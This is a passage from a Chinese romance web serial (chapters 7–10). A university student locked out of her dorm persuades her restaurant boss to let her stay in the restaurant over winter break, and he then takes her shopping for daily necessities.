今晚连着来了好几桌堂食,点的都是大菜,张壅和安叔忙不过来,就拉蒋姨去帮忙备菜,于是两层饭桌只留何嘉一个人传菜。
“小妹儿,我们的猪肚还没好哇?”有桌顾客等不及了。
何嘉走过去陪笑:“不好意思,已经下锅了,我再去厨房让他们快点。”
“好嘛,麻溜儿点,都等好久了。”
“嗯嗯好的。”
何嘉飞速跑下楼,往后厨里喊:“12桌的猪肚莴笋下锅了吗?他们在催了。”
张壅啧了一声,不耐烦:“催催催,催命啊!老子一天到晚忙不完的,给他们说已经下锅了!”
何嘉应答:“已经说了。”
“那就不管他们了,”一道李庄白肉出锅,他朝外喊:“上菜——”
何嘉麻利地接过,朝二楼走去。
路上她不禁想,饭店忙的时候果然来不及,你要是问某道菜还有多久好,那必然得到的答案是已经下锅了,实际上呢,也许厨师忙得发火,还根本没开始备菜。
愿意吃的继续等,不愿意吃的就走。反正服务员的态度好,你也不能说人家不理顾客。
后续几道菜比前面上得快些,忙了好几圈,何嘉觉得自己的手臂开始发酸,有些抬不起来了。
好在时间过了八点,客人越来越少,今天安叔负责店里的晚饭,炒了几道家常菜,大伙儿就开始吃晚饭了。
张壅今天不说话,张姨也不在,剩下几人都不喜欢说话,整张桌子安静得只有咀嚼声。
何嘉觉得今天有鬼,索性继续降低自己的存在感。
等到九点整,终于下班,何嘉朝他们几个道别:“我先走了哦,大家拜拜。”
和善的蒋姨与安叔朝她挥手,张壅瘫在一张藤椅上朝她点头。
门外天色如墨,除了放在路旁的几辆单车,基本上就只有她的存在。
她仰起头去看路灯下的树木,树梢的叶子枯黄,风一吹便簌簌滑落,跌到她身边的时候她忍不住伸手去接。
一片金黄的叶子躺在她手心,是爱心的形状。
“还不回去?”
一个磁性低沉的男声从她前面传来。
何嘉抬眼去看他的模样。
那人眼下的乌青很重,眼里的戾气消散只留下困倦。他的嘴边似乎冒出一些胡茬,倒是多了一丝慵懒休闲的味道。
“老板,你去饭店吗?”何嘉将叶子收回口袋,声音轻柔。
李成杨向前走了两步,“嗯,刚下班。”
何嘉盯着他嘴角的某个位置,那里好像有一颗棕色的小痣。
“很晚了,回去吧。”他从她身边经过,伸手指了指他身后的方向。
何嘉乖乖点头,又回头说:“老板再见。”
李成杨顿了一步,转头对她说:“你怎么总说这句话?”
她眨着迷惑的眼睛:“啊?我有吗?这不是普通的道别语吗?”
他想了想:“也是,但是别老叫我老板吧。”
“那叫什么?”
“随便。”
这把她难住了,不叫老板能叫什么?
她猛然想到一个称呼,弱弱地说出来:
“叔叔?”
李成杨脸上闪出三条黑线,“你再叫一遍?”
何嘉抿住嘴巴,漆黑的眼睛有些不安。
过了一会儿又说:“是……是你说随便的。你肯定比我大呀,我也不知道大多少,就是……就是你看上去应该比我大了超过五岁吧,叫叔叔……挺合适的?”
李成杨被她气一下,但又觉得她说的有道理。真相是他比她大了可不止五岁,估摸着有十岁了,所以还真是可以叫叔叔的程度。
但他暂时不想听到这个称呼。
“还是叫老板吧。”他妥协了。
“哦。”何嘉忍住不笑。
8. 第8章
和李成杨分开后何嘉很快回了宿舍。
五楼的长廊亮着几盏微弱的灯,走廊最末处有一个没有封窗的阳台,时不时吹来冷风。
她走到503门口,抬手去推那扇冰冷的铁门。
推了一下,大门纹丝不动。
何嘉歪了歪头,用力再推了一次。
还是没打开。
怎么回事?
锁门了?
她“嗯?”了一声,最后推了一次。
锁门了。
何嘉皱着眉头摸出手机,翻了好几下找到郑亦然的电话号码。
点开通话,何嘉一边等待接听一边盯着门上的广告纸,用手使劲抠了一下。
大概等了两分钟对方才接听。
“怎么了?有事吗?”郑亦然那边人声嘈杂,显得她的声音格外渺远。
何嘉问:“你今天不在宿舍吗?”
郑亦然漫不经心:“哦,我最近找了个实习,今天搬到外面住了。”
“你怎么不提前跟我说一声啊,平时寝室有人大家都不带钥匙的,你直接锁门了我就进不去了。”
“你没钥匙?我以为你有呢。”
何嘉耐着性子:“你锁门之前应该告诉我一声的,我都不知道你走了。”
郑亦然并不诚心:“哦,那不好意思了呀。”
何嘉又问:“你最近还回来吗?”
郑亦然说:“不了,答辩之前再回来。”
“可是我没钥匙……”
“那没办法了,你问问宿管有没有备用钥匙吧。”
何嘉还想说点什么,郑亦然却先开口:“我这边儿有点忙哦,宿管要是没有的话你就问问其他室友最近回不回来吧。”
“也行吧。”她只好这么回答。
“嗯。”
电话里只剩忙音。
何嘉叹了口气走下楼,心里憋着一口气。
寝室里所有人都知道,只要寝室有人住就一定不会锁门,所以大学四年503锁门的时候屈指可数。
也意味着郑亦然明明知道她没带钥匙,连一声招呼都不打就锁门了。
这不是存心的话很难解释。
何嘉走到一楼,宿管阿姨问她:“怎么啦?”
何嘉说:“阿姨,你那儿还有没有503的备用钥匙啊?”
“503?我记得之前有个同学说她钥匙丢了,503最后一把钥匙已经给她了呀。”
“是哪个同学呀,你还记得名字吗?”
“哎呦,好像是小郑呀。”
“……”何嘉想骂人,但又没法说什么,只好再问:“真的没有了吗?”
阿姨摊摊手,“没有了,你钥匙也丢了?”
她语塞:“算,是吧。”
“那我没办法了,你得自己去问问室友。”
“好吧,谢谢。”
何嘉失落地走出宿舍楼,找了个花坛独自坐下。
手机上另外两个室友都在外地,除了毕业答辩的时候应该是不会再回来了。
她撑着手抬头看天,有些烦躁地叹了一口气。
这都什么事儿啊。
天空黑漆漆的,一颗星星也没有,冷风灌进她的裤脚,寒意从下肢一路往上,让她打了个寒颤。
何嘉看见有几个同学拖着行李箱准备离开,突然想起一月中旬就要放寒假了。
学校每年的寒假都不允许同学留宿,因为春节那会儿宿管放假没有人负责安全。
以前的寒假她找的兼职都是带宿舍的,最近忙来忙去怎么把这么重要的事情搞忘了。
那她还能住哪儿呢?
她的东西都还没来得及收拾出来,现在身上只有一个手机和一台电脑。
她莫名弯了弯嘴角,有些自嘲地想:幸好没忘记论文,不然连电脑都得锁在寝室里。
唉。再叹一口气,她心里的烦躁一点都没有消散。
郑亦然和她是什么时候开始有这种奇怪的气氛的?她自诩自己对每个室友都很和蔼,为什么还要收到这样微妙的恶意?
是恶意吧?
她又摇摇头,也怪不得别人,万一郑亦然只是单纯忘了和她说呢?
毕竟没带钥匙的是她自己。
再坐了几分钟,她回想起刚才遇到李成杨的情景,那时候他是要回饭店的,所以现在一定在那里。
她要回饭店。
两个中年人从“老李现炒”出来,手上燃着还剩一半的烟,他们有一搭没一搭地聊天,全然不顾附近有人经过。
何嘉捏着鼻子跑进饭店,像只麻雀一样灵活。
饭桌上一个人也不剩,只有张壅还在厨房打扫卫生。
何嘉走进去问他:“壅哥,老板刚才是不是回来了?”
张壅放下铁锅,纳闷道:“你回来干嘛?找他有事?”
“对的,有点事情要和他说。”
“不知道他去哪儿了,刚才还在。”
“好吧,那我给他发个消息。”
“嗯。”
何嘉找到他的通讯栏,发了一条消息过去。
何嘉:【老板,你在店里吗?】
对方没回。
她找了张椅子坐下来,准备等几分钟。
一个男人从二楼往下走,脚步声铿锵有力。
何嘉循声去看,李成杨捏着手机往下走,整个人懒懒散散的。
“怎么了?”他站在楼梯上看她。
何嘉走到楼梯边,神色扭捏:“老板,我想跟你商量个事。”
他无奈道:“你又想跟我商量什么?”
“嗯……”她抿了抿嘴唇,“我们可以到二楼去说吗?”
李成杨觉得荒谬:“你觉得合适吗?”
末了又补充一句:“有什么事不能在这儿说的,还非要上去说?”
何嘉坚定地看着他,回答得很认真:“我觉得这事挺合适的,我们还是上去说吧。”
毕竟这里还有一个张壅呢,让人听见了也不太好。
李成杨拿她没办法,知道她就是较真的人。
他后退一步,尾音拉得老长:“行,那就走。”
何嘉如愿跟在他身后,偷偷打量他的背影。
他的肩膀很宽,配上挺直的背脊就像是一棵白杨。骨节分明的手掌耷在大腿旁边,随着走路的姿势微微晃动。
他最近应该理过发,发茬看上去□□扎手。
李成杨停在一间包间门口,暖黄的灯光落在他的发顶上。
“说吧。”他转头俯视何嘉,脸颊隐匿在阴影里。
何嘉被迫抬头对上他的视线,语气微弱:“老板,我今天来,是有一个小小的请求。”
“什么?”他无意间看见她头顶有一个小小的发旋。
她支支吾吾:“就是,你听了之后能不能……不要觉得离谱?”
他顶了顶下颚,“直接说,怎么又跟挤牙膏一样。”
她飞速观察他的脸色,然后猛然低下头,憋着一口气像要赴死。
“就是我今天开始可不可以在这里住一段时间我可以中午晚上都上班能不能不收我房费?”
见他一下愣住,她又接续说:“工资和以前一样就行只要让我住在这里。”
李成杨还是没说话,他的表情在阴影里不甚清晰。
何嘉努力抬眼去观察,灯光打在她的睫毛上留下几道影子。
他清晰地捕捉到她脸上有讨好也有不安。
但这对他来说掀不起波澜。
“不行。”他斩钉截铁。
小姑娘一下子泄了气,耳朵像兔子一样耷拉下来。
“为什么?”她问。
他后退,用手摸了摸嘴巴:“你脑子进水了?”
她上前,水灵的眼睛不认输:“没有。我很清醒。”
三步之遥,他闻到一股清香,类似于某种兰花又不太像。那是从她发顶传来的味道。
他不自然地再次后退,和她留够了距离。
“那也不行。”
“为什么?”她急了,踩着他的步伐上前,“为什么不可以,我
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那天都住过了的。”
她的眸子近在眼前,让他的呼吸不禁加快了半秒。
他换了种说话方式:“你不住宿舍住这里干嘛?”
何嘉咬咬嘴角,“要放寒假了,寒假都不能住宿舍。”
“那就回家。”他声音冷漠。
“我不是余川人,而且……寒假要给你兼职。”
“那你以前怎么办的?”
她慢条斯理地说:“以前找的兼职都是带住宿的。”
得,这是在埋怨他不给她住宿了。
李成杨不松口:“你可以租个房子。”
何嘉急忙说:“我没钱,我真的没钱,我兼职也是为了准备读研的,不可以再花钱租房子了……”
李成杨闻着她的香味觉得有些恼火:“你很缺钱?你爸妈不管你?”
何嘉怔住,眼里划过一瞬涟漪又立马消失不见。
她藏起心里的情绪,几乎是认命般地仰起头说:“是的,我很缺钱,所以我才会一直找兼职。今天过来是因为没带钥匙被锁在外面了,我的室友都去实习了,宿舍回不去不住这里我就没地方去了。”
“如果你实在不同意的话就让我先将就两天吧?后面的事我再想办法。当然,你帮我的话是仁至义尽,你不帮我也没有错,反正我也可以去睡饭店门口的大街。”
她说后面这句话的时候近乎逼迫,语气里装着几根细小的刺。
李成杨被她的刺膈应住,突然想笑,不是开心,而是觉得她这人很搞笑。
他真的笑了,语气带着些嘲弄:“何嘉。你现在的困难不是我造成的,谁造成你的困难你就找谁去好吧?还有,你自己也说了,我帮你算是好心,不帮你也不算错,你这什么语气?你觉得我有必要留你这么大一个安全隐患?你知不知道晚上住这里根本就不安全?”
或许是觉得自己说得不够明显,他还特意强调:“今天、明天、后天、大后天,但凡是我在,我看谁敢让你住店里?”
他的眼神严肃,落在何嘉眼里更像怒意。
她被他的气势逼得一句话也说不出来,这些话尽数砸在她心上,让她突然觉得委屈,但是她知道自己不该委屈。
他说的话一点错也没有,在这里无理取闹的人是她。
想到这儿,她的眼里多了几滴泪水,但是被倔强地收起。她低头沉默几秒,抬头对上他的眼睛。
“对不起,老板……”
声音颤抖,面颊发红。
又难堪又羞愤。
李成杨不回答,靠在墙边看她。
何嘉的羞愤一下子变成了失落,双手攥了攥衣角,再后退一步,尽量平静地说:“我走了。”
她一转身,暖光打在她落寞的背影上,将她整个人照得形单影只,有一种玻璃正在破碎的感觉。
李成杨还是没动,内心却生出一种怪异的感觉。
他看见了她眼里的晶莹,和蓝宝石一样清澈透明。
他忽然开始怀疑自己刚才是不是把话说重了。那些话对三十岁的人来说无伤大雅,但对还没出身社会的学生来说应该有些刺耳。
拿起手机,时间已经过了九点半。
李成杨站在原地挠了挠脑袋,觉得头痛。
本来上班就忙,送完快递回店里,回店里还要看账,他真是分身乏术,怎么又遇上她这么一大尊佛。
“唉。”他一边摇头一边叹气。
她一个女孩子,看上去规规矩矩的,脾气又软,总不能真让人家去睡大街吧。
他闭眼想了两秒,最后忍着头疼做出了决定。
他抬脚的方向正是她离开的方向。
楼下张壅刚收拾好厨房就看见这两人一前一后,一个失魂落魄,一个沉默不语。
这是唱了出大戏啊。
“杨哥,你们咋了?”他在线吃瓜,率先下定义,“你欺负她啦?”
李成杨睨他一眼,“干完了就走,别问东问西的。”
“呵呵。”张壅拎着外套走了。
李成杨紧随其后。
9. 第9章
李成杨追出来的时候街上冷清清的,街边路灯发着微光。
他转头看了好几眼,发现路上没有某人的身影。
跑这么快?他真是有点没招了。
要是晚上真出点什么事儿,他可做梦都想给自己两巴掌。
跟个小姑娘较什么劲呢,有话好好商量不就行了。
他又往街上来回走了几百米,还是没看到那个黑色棉服。
只好折返回去看看她会不会回饭店。
刚走到饭店门口,他就看见一个姑娘坐在大门旁边的花台上,手上抱着个保温杯,里头的热水袅袅升起。
李成杨插着腰,轻嗤了一声:“你刚去哪儿了?”
何嘉呆呆地抬头,慢吞吞地说:“我刚才,一直坐在这里的。”
“?”李成杨无语,“你刚一直坐这儿的?”
“嗯。”她点头,头发微微下滑。
他质问:“你看见我出去的?”
“看见了。刚好看见你走出去,好像是在找我……但是你没回头,就没看到我。”
他心里那口气又上来了:“我没看见你你也不知道叫我一声?”
她盯了他一眼,语气讪讪,“我不敢。”
“你不敢什么?”他被气笑,“我看你挺敢的啊,你有什么不敢?”
“呃,我怕你出来是为了再骂我一遍。”
“?”
李成杨活了三十多年了,头一次有种被人耍了的感觉。他还得大气不出,免得人家又哭。
他开门见山,“你已经决定了要住这儿是吧?”
何嘉放下杯子,一下子站起来,“可以吗?我以后一起床就工作,大活小活我都能做,只要你让我熬过这个寒假。”
他没理这话,按照自己的节奏问:“你住这里晚上没人,谁也不能保证你的安全,你想好了?”
她猛地点头:“我知道的。”
“你知道就好,平时手机要保证通讯,有事马上给我打电话。
“嗯嗯,好的老板。”
李成杨又问:“那你说说你住儿怎么洗澡?厕所又没有淋浴。”
何嘉仔细想了想,一楼是有热水的。
“我可以去楼下打热水上来洗。”
“你也不嫌麻烦。”
“我没关系的。”
何嘉看他表情软和下来,已经浮现出胜利的可能性。
她怕他突然反悔,迫不及待地补充:“我真的都没关系的,楼上挺好的呀,离上班的地方近,空了还有桌子能写一写论文呢。”
他眼神微眯,除了自己以外他再也没见过这么热衷于工作的人。
他真是拿她没办法,有什么办法,话都说到这个份上了,他只能松口说:“随你,只要你人是安全的,你住哪儿我都不管。”
“好诶。”何嘉朝他露出一个灿烂的笑容,一双眼睛弯得像月亮。
“老板,谢谢你,谢谢您,太感谢了,我一定为这个饭店当牛做马!”
李成杨扶额,“我不需要你当牛做马,你平时该干嘛干嘛,注意安全就行。”
她答应地爽快:“好的好的,我一定会小心的。”
他转头,将她脸上的两个梨涡从脑海里甩出去。
何嘉止不住要笑。
过了两分钟,李成杨想到什么,指了指她的背包,“你说你被锁外边了,那就是说你现在全身家当就是这个包了是吧?”
何嘉尴尬地点头:“是的。”
“连件衣服都没有?”
“嗯……是的。”
“那你之后怎么办?”
何嘉被他问住,直接傻眼了。
他继续说:“没衣服没被子没洗漱用品,我看你不是要被冷死就是要发霉。”
她站住不动,觉得他说得很有道理:“好像是这样。”
“唉。”他怎么连这些都要管,又不是她爹。
李成杨指了指路口的超市,提醒她跟上:“走吧,还没到十点,还可以买点东西。”
何嘉迟疑地说:“费用的话,我能先欠你吗?”
“……”
“不行吗?”
“……可以。”
“那我可以再买点吃的吗?我有点饿了。”
“可以。”
“那我可以……”她还没说完。
“可以。”他直接打断。
临近打烊时间,超市里只留下一位结账的大婶正在打瞌睡。
她听见何嘉两人的脚步,睁眼打了个哈欠。
“要关门了,你们快点逛啊。”
何嘉朝她笑笑:“好的,麻烦您稍等一会儿。”
李成杨走在一边拿了个篮子,“先买洗漱要用的。”
何嘉也拿了一个跟在他身后。
洗漱用品放在超市最里面,两人走了几步路才看见满满一墙的洗发水和沐浴露。
李成杨从货架上随手拿了一瓶洗发水,丢到篮子里准备离开,何嘉却立马将它拿出来。
“怎么了?”他转头问她。
何嘉说:“不要这个,这个一点也不划算。”
他挑眉,指了指价格标,“这一排价格大差不差,克数也差不多的。”
她坚持,往前走了两步立在几瓶蓝色的飘柔前。
“要这个。”她拿了其中170毫升的那瓶。
李成杨没看出有什么特别划算的,“这个170毫升九块九,和刚才那个200毫升十二块九的有很大的差别吗?”
何嘉严肃,“虽然克数算下来只差了一分钱,但是九块九在十块钱以内,看上去要更便宜一点。”
“……”他不理解这是什么鬼逻辑,只好说:“行吧,放我篮子里。”
她照做。
接下来,两人继续朝前走,何嘉的目光落在另一排沐浴露上。
李成杨这次没管她,主动站在她身后让她自己去挑。
他的目光随意落在篮子里的洗发水上。
刚才她拿的这个飘柔是什么味来着,兰花香型。
他一下就想起她在二楼跟他较劲的时候,整个走廊里都弥漫着这股香味。
那时候她态度有些强势,盯着他的眼神不依不饶。活像只强词夺理的刺猬。
“这个……还是这个吧。”何嘉在货架前自言自语,截断了他的走神。
他走过去,将篮子提到她手边。
她想起自己也带篮子了,对他摆摆手,“这个我放自己的篮子里就行了。”
他轻呼一口气,“等会儿要买的东西不止这点,你那框里等下放别的。”
她觉得也有道理,乖乖将舒肤佳放进他的篮子里。
“谢谢。”蚊子一样,根本不像刚才跟他犯浑的样子。
他转转眼睛,觉得她果然还是小孩子心性。
“洗发水沐浴露都有了,去买点牙刷牙膏。”李成杨指了指对面的货架。
何嘉捡了里头最便宜的几样,顺手又拿了一点洗衣粉和一个小脸盆。
他在一旁提醒:“想想还有什么需要的。”
“嗯,我想一想,”何嘉往其他货架看去,“还有毛巾和衣架。”
“去拿。”他站在这里等她。
不一会儿她就拿了两个小毛巾和一把铁衣架回来。
李成杨把篮子往前放,确保她能塞进去。
他瞧见那两个毛巾,忍不住说:“你拿个这么小的干嘛?省钱啊?”
何嘉被戳中心思,却不承认:“我就用这么小的就行。”
他好笑,“嗯,你脸小,我这种脸大的就是看不得这么磕碜的东西。”
何嘉一下愣住,“啊?哦。”
她知道了。她这老板就是这个性格,不太爱讲话,但就喜欢突然说句怪话,让人反应不
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过来还觉得有点冷。
李成杨的视线在她身上瞟了几下,看她身上那件洗得跑棉的外套,觉得非常碍眼。
“走,买两件外套。”
何嘉疑惑地眨眨眼:“为什么要买外套?”
他懒得解释,“你这件有点丑。”
“……”她语塞,过了一会儿说:“没关系,丑我也能穿,我可以忍忍。”
“嗯,我忍不了。”他漫不经心地撂下这句往前走,何嘉根本来不及反应。
卖外套的区域大多在售的是中老年的款式,放眼望去全都花里胡哨,以大红大紫为主,布料镶着几行闪钻,要么就是有些土潮的豹纹。
李成杨立在它们面前陷入了沉思。
他长这么大也没怎么接触过女性,平时上班都是送快递的同事,他们不讲究穿什么,因为可以穿工服。
唯一的两位女性就是张姨和蒋姨,这些衣服她们应该会喜欢吧,那年轻姑娘呢?
应该没有那么喜欢吧……
他闭了闭眼,对何嘉说:“你挑两件?”
何嘉看看那些衣服,再看看他,怀疑他在开玩笑。
她一个年纪轻轻的女孩怕是撑不起这么“隆重”的衣服。
“老板,不用买外套的。”她很肯定。
李成杨当她是不喜欢,“买两件,你去看看有没有款式简单的。”
何嘉搞不懂他为什么非要她买外套。
“一定得买吗?”
李成杨认真地说:“你不可能几个月就穿一件外套吧?今年天气冷,选厚一些的。你那外套看上去像我虐待员工。”
何嘉低头看了看自己的外套,这件黑色的外套是高三那年买的,一直穿到现在,里面的棉花都被洗瘪了,确实不太暖和。
但她今天只预计了买生活用品的费用,要是买外套多的钱都花出去了。
她站在原地没动。
他瘪嘴,“你怕什么?反正是我付钱。”
她轻飘飘抗议:“以后也得还……”
“去挑。”他很强硬。
何嘉慢慢走到那堆衣服前,开始艰难地挑了起来。
货架上要么是款式老成的假貂,要么就是颜色刺眼的羽绒服。
前者太丑,后者又丑又贵,她一个都不想选。
或许是看不到满意的,她转头往男士专区看了看,那边的颜色都是黑白灰,看上去比较实用。
她最终停在一件黑色的短款棉服前。
李成杨瞥了一眼,问:“又是这个颜色和样式?”
她盯着价签说:“黑色很耐脏的,可以穿很久。”
李成杨随着她的目光去看,价签写着“100”。
他知道她在想什么了。怕太贵的浪费钱,这件黑的刚好耐脏,款式也不出错,在她的脑海里算是最好的选择了。
他没说什么,指着其中一件:“拿个小码的看看合不合适。”
何嘉依然照做。
男款的S码在她身上略微大了一点,但是可以接受。
何嘉从货架上又拿了一件深灰色的外套,款式和刚才那件一模一样。
“选好了?”李成杨问她。
她点了头,将两件外套放进自己的篮子里。
“选好了就结账吧。”李成杨看墙上的时间已经过了十点零五分,收银的大婶忙着打盹。
刚朝外走进步,何嘉突然想到什么,抬头看了李成杨一眼。
李成杨疑惑:“怎么?”
何嘉支支吾吾:“还有,还有一件东西。”
他问:“什么?不是都买完了?”
她抿着嘴不想说。
他又问:“还有什么?”
她和他对视一眼立马低下头,声音小得几乎听不见:“就是那个,内衣……”
他一瞬微怔,余光看见小姑娘的脸颊和耳朵迅速攀上一片绯红。
10. 第10章
“去买吧,”李成杨没什么语气,“你自己去挑,快点。”
何嘉猛地点头,一转眼没了人影。
李成杨提着篮子没动,心想买内衣就买内衣呗,又不是什么见不得人的东西。
他微微低头,想到她脸上那抹不自然的红润,眸子闪动了一秒。
脸红什么。
小朋友的事,他哪里懂。
内衣货架这边,何嘉尽量拿了几件纯棉的内衣裤,慌七忙八地确认是不是自己的尺码。
突然就想到刚才李成杨的表情。
他好像除了愣了一下也没什么表情,但是对她来说还是有那么一点儿羞耻,老板四舍五入就等同于长辈,在长辈面前说什么内衣……
她轻轻叹了一口气,将脸上的热意压下来,装作镇定地大步走回去。
李成杨已经把篮子放在收银台上,正低着头看手机。
何嘉走到他身边,将手上的东西放在其中一个篮子里。
收银的大婶早等得没精神了,扫码的时候神情焉焉的。
她机械地重复动作,拿起其中两件蓝色碎花的布料,“这个买一送一哈,东西都检查好了没?买一送一的都不能退的。”
李成杨抬头,目光落在那两样东西上,转头对何嘉说:“她问你,你自己说。”
何嘉立马炸毛,一个劲儿点头说:“检查了的检查了的,没问题。”
大婶被她的声音吓一跳,无语吐槽了一句:“又不是没见过内衣,叽叽喳喳的。”
何嘉的脸更红了,低着头祈祷这个大婶快点住嘴。
大婶偏不,本来就下班晚了,更要抱怨几句:“都要住一起了还不晓得早点准备东西,那么晚了才来买要用的,简直是拉屎了才知道挖坑,难怪现在的年轻人搞对象都搞不出个名堂。”
何嘉怔住,没反应过来“搞对象”这几个字的意思。
倒是李成杨放下手机,指着何嘉对大婶平静地说:“她是我女儿。”
场面忽然寂静,大婶和何嘉同时惊讶,纷纷瞪着眼睛看他。
大婶转头打量一下何嘉又转头看了看李成杨,她寻思这两人看上去年纪相差不是很大,要是父女的话不得乱套了?
李成杨没有继续说话,很坦然地看着她。
大婶想到了什么,突然抖了一下骂道:“疯球了。”
“多少钱?”李成杨拿出手机准备付款。
大婶不善:“二百八。”
他将费用扫过去,主动提着两袋东西往外走。
身后的何嘉在寒气中头脑风暴。
李成杨的步子大又走得快,何嘉小跑着才勉强跟在他旁边。
他手上的两个袋子看上去鼓鼓囊囊,何嘉怕他重,主动提出:“老板,要不我提一个吧。”
李成杨默不作声,继续往前走。
她以为他没听见,又说:“老板,我来提一个吧!”
他最烦莫名其妙的客套,将其中一个袋子提到空中晃了两下,说:“很轻。”
何嘉还说:“那给我提?”
他又不理她了。
她只好灰溜溜地跟在他身后。
走了一截路,李成杨渐渐放慢步伐。
何嘉终于不用小跑一样地赶路。
“刚才是为了不让她误会,”李成杨顿了顿突然说,“不是占你便宜。”
“什么?”何嘉一下子没反应过来他什么意思。
想了一下,猜测他说的应该是那句“她是我女儿”。
“没关系。”何嘉不在意,只是当时有点震惊,她没想到他竟然能面不改色地说出那样一句不着调的话。
“嗯。”他不再重提。
回到饭店时间已经不早了,李成杨将两个袋子直接提上二楼,放在那个睡觉的小房间里。
何嘉看他忙前忙后,主动跑去一楼给他接了一杯水。
李成杨将它一饮而尽,看着杯底的水珠忽然想到什么。
“你之前好像说饿了要吃东西?”
何嘉想起自己确实说过,“没关系,刚才忘记买了。”
他问:“不饿了?”
何嘉哪敢再麻烦他,一边摇头一边说:“没事的,刚才走两步路已经不饿了。”
李成杨正要接话,房间外面猛然传来另外一个男声——
“饿了就得吃啊!”
房间里面的两人吓一跳,面面相觑之后以为是幻觉。
那个声音越走越近,最后越过房门朝里说:“要吃什么?宵夜?我可以做一点。”
李成杨翻了个白眼,无语道:“你特么还不走在这里干嘛?”
张壅探了个头,讪笑:“我本来走了啊,买包烟的功夫发现店里灯还亮着,这不是怕店被偷了就在外面躺着,结果你们自己没看见。”
李成杨黑脸,又来一个不喜欢吱声的,还非要说是他没看见人家。
何嘉对张壅说:“不用麻烦了,我现在不是很饿。”
张壅固执:“不是很饿就是还是有点饿。我下去做点宵夜,你们等会儿解释一下这是怎么回事啊。”
他还不忘指了指房间地上的两个袋子。
何嘉没办法,只能观察李成杨的脸色,李成杨说:“等着吧,你不让他做,他今天不会走的。”
她顺着他点头,只觉得今天这一大天大家都好像特别不正常。
特别是老板和张壅之前都看上心情不好的样子,怎么现在突然又正常了?
“我打开看看?”李成杨的声音把她拉回现实,她看见他指着地上塑料袋。
“好的。”她的话音一落,他就翻开洗漱用品的那个袋子,思考了一会儿说:“什么都买了,但是好像没给你买被子。”
“那……”
“那就先开空调。”他替她打开暖气,先一步作出决定。
何嘉不作声,等他安排。
他站起来,朝房间环绕几眼,没发现什么特别需要叮嘱的。
扔下一句:“你自己收拾一下,我下去看看张壅。”
“好。”
室内只留下何嘉一人。
何嘉抬头,注意力被房间上空的空调吸引。
上面写着27摄氏度。
一股暖风吹到她身上,驱散了她周围的每丝寒意。
房间内和上次来的时候一样整洁,根本看不出有人居住过的痕迹。
她被这样温暖的空气包围着,整个人放松下来,隔了好一会儿才开始收拾刚才买的物品。
楼下张壅重开已经洗好的灶台,随手抓了带点宽粉和土豆出来。
李成杨走进后厨,身体半靠在门框上。
“这么晚了还不回去,等会儿冉舒要抱怨了。”
张壅问他:“你吃不吃?”
李成杨转身走到冰柜前拿了两瓶啤酒,又问他:“喝不喝?”
张壅“嘁”了声,说:“一起喝点。”
手上多抓了两把宽粉。
炒粉简单,步骤也不多,张壅只颠了两勺一锅炒粉就做好了。
土豆宽粉,是碳水炸弹也是深夜福音。
李成杨看他端了三份出来,每份都冒着热气。
他拿出手机找到那个小猫头像。
简洁明了地发了一句【下来】。
对面很快回复【好的】。
何嘉下楼的时候他们两个已经坐在圆桌上,上面摆着几份吃的和两瓶啤酒。
她选了个和他们不远也不近的位置坐下。
张壅递了双筷子给她:“喏。你吃辣吧?我都放了辣椒的。”
何嘉接过,“吃的,我挺能吃辣的。”
他欣慰一笑:“可以可以。”
李成杨已经埋头吃起炒粉,对他们的寒暄并不感兴趣。
张壅开了啤酒,对何嘉说:“你喝点儿吗?”
李成杨直接打断:“给我。”
何嘉自然不用再回答这个问题。
李成杨就着瓶子灌了几口下去,面颊立马变红,整个迷迷蒙蒙的。
何嘉狐疑地看着他。
张壅也喝了几口,替他解释:“他喝酒一直这样,上脸不上头,别担心他,挺能喝的。”
她也不是担心,只是有些诧异,但是也不好说什么,于是选择埋头吃起炒粉。
李成杨抬眸瞟她一眼,很快又收回视线。
饭桌上三个人突然都不说话了。
何嘉觉得尴尬,主动挑起话题。
她问张壅:“你这么晚了还不回去,家里人不担心吗?”
张壅拿起酒瓶和李成杨干了个杯,左手搭在椅背上,“我一个大老爷们儿有啥好担心的?只是明天等着挨骂就行了。”
何嘉想起张姨骂人的模样,同情地点点头。
他又笑,“你呢?这么晚了不回宿舍,你俩刚才是要一起睡店里?”
李成杨先撇他一眼:“滚。”
何嘉又觉得脸上发热,向他解释:“没有,我要放寒假了没地方去,就问老板可以不暂时住二楼。”
她说这话的时候不忘瞄李成杨一眼。
李成杨没说话,继续喝酒。
张壅拍拍李成杨的肩膀,觉得有趣:“哎,你什么时候这么仁
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慈了?”
“我什么时候都这么仁慈。”
李成杨懒散地靠在椅背上,在何嘉眼里,喝了酒之后的他眼神更加清明了。
张壅觉得好笑:“嗯,希望你对我也这么仁慈。”
李成杨嫌他烦,“喝你的酒。”
张壅喝了半瓶,摸出一包烟,假装询问:“我抽一根可以吧?”
何嘉“呃”一声,想拒绝。
李成杨直接抢了桌子上的打火机,十分顺手地丢进垃圾桶里。
“抽吧。”他朝垃圾桶扬扬下巴。
“你他……”张壅想骂人,又看了眼何嘉。
最后决定把脏话憋回去,转向李成杨:“不抽了行吧,你明天赔我一个啊。”
“赔个鬼。”他才懒得搭理。
何嘉看着他们的动作,觉得好奇:“你们好熟啊,是一直都认识吗?”
“嗯。”李成杨盯着她侧脸的碎发。
张壅接着说:“害,我跟他啊都多少年了。2006年那会儿吧我就认识他了,现在都十二年了,2006年是个什么概念,你那时候才多大呢?”
“那么久了啊,”何嘉咬断宽粉,说:“那会儿我才十岁。”
“十岁?”张壅感到很好玩儿,“诶,那会儿你杨哥都二十了,应该和你现在差不多大。你现在有二十了吧?”
她回答:“我二十二了。”
李成杨突然抬头看她,但是什么都没说。
只有张壅指了指自己:“我比你大五岁。”又指了指李成杨说:“杨哥比我也大五岁。”
何嘉在心里默算他俩的年龄,不知道该震惊张壅十五岁就认识李成杨,还是李成杨现在已经三十二了!
她这表情在李成杨眼里等同于一言难尽。
他放下酒瓶朝她倾身,眼神多了一丝玩味,“怎么?觉得我老?”
何嘉闻到他嘴里的麦芽香味,是属于酒精的专属味道。
她微微后仰,觉得耳朵发烫。
“没……没有。我就是觉得你看上去,挺年轻的,有点和你的实际年龄不符合。”
不知道是不是酒精的作用,他突然来了兴致:“那你说我看上去像多大的?”
何嘉不敢盯他的眼睛,随手指了指张壅:“就跟他差不多,二十六七的样子。”
张壅反对道:“我看上去有他那么老??”
何嘉猛地摇头,“不是不是,是老板看上去很年轻,完全不像是三十以上的年纪。”
李成杨浅笑,语气不依不饶:“三十以上怎么?是很大的年纪吗?”
